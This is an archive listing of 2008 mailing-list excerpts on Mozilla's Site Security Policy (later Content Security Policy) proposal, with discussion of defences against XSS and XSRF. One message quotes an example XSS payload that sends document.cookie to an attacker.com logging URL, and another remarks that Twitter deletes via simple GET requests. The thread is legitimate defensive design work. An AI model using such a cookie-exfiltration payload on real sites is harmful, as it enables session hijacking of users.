Re: Content Security Policy (was: Site Security Policy)

2008-09-05 Thread bsterne
I have updated the proposal document to reflect the changes I mentioned briefly before. Chief among them are: 1. The name has been changed to Content Security Policy, mainly because the mechanism describes security policies applied to individual _resources_ and not entire websites. The change i

Re: Site Security Policy

2008-08-15 Thread bsterne
On Jul 12, 10:35 am, "Evert | Rooftop" <[EMAIL PROTECTED]> wrote: > Sorry if this was already brought up in this thread (or if its a > closed subject), but using headers vs. a policy file is a bad idea, > for the following reasons: > > * Allows caching > * Allows usage of the policy on a site where

Re: Site Security Policy

2008-07-17 Thread Glenn Wurster
> I agree - but this is because what they are asked to do is hard. There > are two things we can do about that - we can make the thing they are > trying to do easier, or we can provide another easier thing they can do > as well, which helps when they get the first thing wrong. That's the > approach

Re: Site Security Policy

2008-07-16 Thread Gervase Markham
[EMAIL PROTECTED] wrote: > In terms of the safe vs. unsafe requests, perhaps I can lend some > insight. The whole reason we have these XSS and XSRF attacks in the > first place is because developers have messed up. I agree - but this is because what they are asked to do is hard. There are two th

Re: Site Security Policy

2008-07-14 Thread Terri
On Jul 11, 7:16 pm, bsterne <[EMAIL PROTECTED]> wrote: > Perhaps I am misunderstanding this point.  Are you suggesting that an > ideal model wouldn't require that web developers do anything > differently than they currently are?  Site Security Policy is intended > to be a b

Re: Site Security Policy

2008-07-12 Thread Evert | Rooftop
Sorry if this was already brought up in this thread (or if its a closed subject), but using headers vs. a policy file is a bad idea, for the following reasons: * Allows caching * Allows usage of the policy on a site where there's no scripting available (static content servers?) * Allows a policy t

Re: Site Security Policy

2008-07-11 Thread bsterne
model wouldn't require that web developers do anything differently than they currently are? Site Security Policy is intended to be a belt-and-suspenders tool to protect sites and users, but we are still advocating that developers keep their web applications free of vulnerabilities. >

Re: Site Security Policy

2008-07-11 Thread bsterne
On Jun 25, 5:22 am, Gervase Markham <[EMAIL PROTECTED]> wrote: > The documentation for Request-Source is now more complete, but it's a > bit jumbled. I would make bullet 4 into bullet 2, and remove the second > sentence because it's repeated in (new) bullet 3. Good points. I'll make these changes

Re: Site Security Policy

2008-07-10 Thread glenn . wurster
Thought I'd get involved in the conversation (full disclosure: I'm involved with the SOMA paper that Terri has been discussing). The point of both lines of work (both yours and ours) is to attempt to restrict the number of XSS and XSRF vulnerabilities which exist in the web today. We have gone ab

Re: Site Security Policy

2008-06-25 Thread Gervase Markham
[EMAIL PROTECTED] wrote: > I've updated the proposal to make this aspect a bit more clear: > http://people.mozilla.org/~bsterne/site-security-policy/details.html The documentation for Request-Source is now more complete, but it's a bit jumbled. I would make bullet 4 into bullet 2

Re: Site Security Policy

2008-06-25 Thread Gervase Markham
Terri wrote: > There's no way for the > external content provider to say "no, that's an action-causing script, > we don't let other people use that" on requests that are "safe". That's right - because if there was, we'd have to do checks on every cross-domain request a page made. And the performa

Re: Site Security Policy

2008-06-24 Thread bste...@mozilla.com
updated the proposal to make this aspect a bit more clear: http://people.mozilla.org/~bsterne/site-security-policy/details.html > >> This means that all script has to be in external .js files. (This is one > >> of the differences in approach from Content-Restrictions.) While this

Re: Site Security Policy

2008-06-24 Thread Terri
Messed around a bit and noticed that you can indeed post using a GET request to Twitter. This looks to be somewhat XSRF protected with a authorization token, so hopefully it's not dead simple to exploit. However, the delete requests are just simple GETs of the form http://twitter.com/status/destr

Re: Site Security Policy

2008-06-24 Thread Terri
> It's true that information travels this way, but the "leaky" request > will never be made unless attacker.com is in the Request-Target > whitelist. So there is no leak. Ah! You're right, I had confused that for some reason. If all requests are still covered by Request-Target, then we're good f

Re: Site Security Policy

2008-06-24 Thread Gervase Markham
Terri wrote: > On Jun 17, 9:25 am, Gervase Markham <[EMAIL PROTECTED]> wrote: >> What's the use case for locking down all page communications? > > The traditional one: XSS cookie-stealing attacks like this: > > var image = new Image(); > image.src= ’http://attacker.com/log.php?cookie=’ + > encode

Re: Site Security Policy

2008-06-23 Thread Terri
Oh, I should probably also mention that we did an HTML conversion of the tech report, so if anyone hates reading PDFs or just prefers HTML (I know a surprising number of people who do), you can check it out either on my university website: http://www.scs.carleton.ca/~toda/doc/soma/ or my personal

Re: Site Security Policy

2008-06-23 Thread Terri
On Jun 17, 9:25 am, Gervase Markham <[EMAIL PROTECTED]> wrote: > What's the use case for locking down all page communications? The traditional one: XSS cookie-stealing attacks like this: var image = new Image(); image.src= ’http://attacker.com/log.php?cookie=’ + encodeURIComponent(document.cookie

Re: Site Security Policy

2008-06-17 Thread Gervase Markham
Terri wrote: > On Jun 12, 7:07 am, Gervase Markham <[EMAIL PROTECTED]> wrote: >> True. SSP in its current form is not a mechanism for locking down all >> page communications > > Shouldn't it be? What's the use case for locking down all page communications? > Site admins will already have to pr

Re: Site Security Policy

2008-06-13 Thread Terri
On Jun 12, 7:07 am, Gervase Markham <[EMAIL PROTECTED]> wrote: >True. SSP in its current form is not a mechanism for locking down all >page communications Shouldn't it be? Site admins will already have to provide all the necessary information in order to be SSP compliant, so it makes sense to me

Re: Site Security Policy

2008-06-12 Thread Gervase Markham
Terri wrote: > There's a lot of small differences between our proposals, And some big ones, if (for example) SSP ends up restricted to POST. > and I'd like > to point out some differences between our "soma-approval" and your > "request-source" that are important: > > (1) Because the request-sou

Re: Site Security Policy

2008-06-12 Thread Gervase Markham
[EMAIL PROTECTED] wrote: > Analyzed, no... but I agree that the Request-Source checks should only > be made for non-safe methods. The proposal includes that statement, > though perhaps it could have been made more prominently: > http://people.mozilla.com/~bsterne/site-security-policy/

Re: Site Security Policy

2008-06-10 Thread bste...@mozilla.com
On Jun 7, 4:47 pm, Nils Maier <[EMAIL PROTECTED]> wrote: > * a lot of reinvent the wheel code is in there, like getHostFromURL > (instead of using nsIURI/nsIURL/nsIEffectiveTLDService). > > * A regex-based homebrown html parser. I wonder how good it is, how good > it will get... Bad people are know

Re: Site Security Policy

2008-06-10 Thread bste...@mozilla.com
e more prominently: http://people.mozilla.com/~bsterne/site-security-policy/details.html#non-safe > The impact would be significantly reduced if we were to do such checks > only for unsafe HTTP verbs (i.e. POST rather than GET). The vast > majority of cross-site requests (e.g. images, sea

Re: Site Security Policy

2008-06-09 Thread Terri
We've been doing some very similar work here in the Carleton Computer Security Lab over the past year, and we put out a tech report in April that I think would be really helpful: http://www.scs.carleton.ca/research/tech_reports/index.php?Abstract=tr-08-07_0007&Year=2008 For one, we did a bunch of

Re: Site Security Policy

2008-06-09 Thread Gervase Markham
[EMAIL PROTECTED] wrote: > One of the most important features lacking IMHO is the ability to > restrict what hosts that are 'script src'd' can do. Currently they > have full DOM access > which is contributing towards drive by malware on ad networks and > other nastiness. Not if the ads are in an ,

Re: Site Security Policy

2008-06-07 Thread Nils Maier
bsterne wrote: > I've recently published a proposal for Site Security Policy, a > framework for allowing sites to describe how content in their pages > should behave (thanks, Gerv): > > http://people.mozilla.com/~bsterne/site-security-policy > > I'm creating a plac

Re: Site Security Policy

2008-06-06 Thread bobauger
On Jun 4, 11:46 am, bsterne <[EMAIL PROTECTED]> wrote: > I've recently published a proposal for Site Security Policy, a > framework for allowing sites to describe how content in their pages > should behave (thanks, Gerv): > > http://people.mozilla.com/~bsterne/site-securi

Re: Site Security Policy

2008-06-06 Thread Gervase Markham
danberall wrote: > A similar hierarchy could be implemented and using a "known location" > would address the bandwidth issue for sites that have this concern. Leaving aside the merits or otherwise of the rest of your suggestion, "Known location" is generally bad - it means we put loads of 404 er

Re: Site Security Policy

2008-06-05 Thread danberall
> - Do you plan to permit these policies to also be placed in http-equiv=""> tags? There are both pros and cons to this, of course. Might it be a valuable idea to support a similar reference mechanism to the way that the P3P compact policy is supported? :: The location of the policy reference fi

Re: Site Security Policy

2008-06-05 Thread Gervase Markham
bsterne wrote: > http://people.mozilla.com/~bsterne/site-security-policy This is an interesting proposal. Here are some thoughts: - Are we concerned about the bandwidth used by the additional headers, or are the days of worrying about a few bytes overhead per request long past? - I am concer

Site Security Policy

2008-06-04 Thread bsterne
I've recently published a proposal for Site Security Policy, a framework for allowing sites to describe how content in their pages should behave (thanks, Gerv): http://people.mozilla.com/~bsterne/site-security-policy I'm creating a placeholder for any discussion that comes o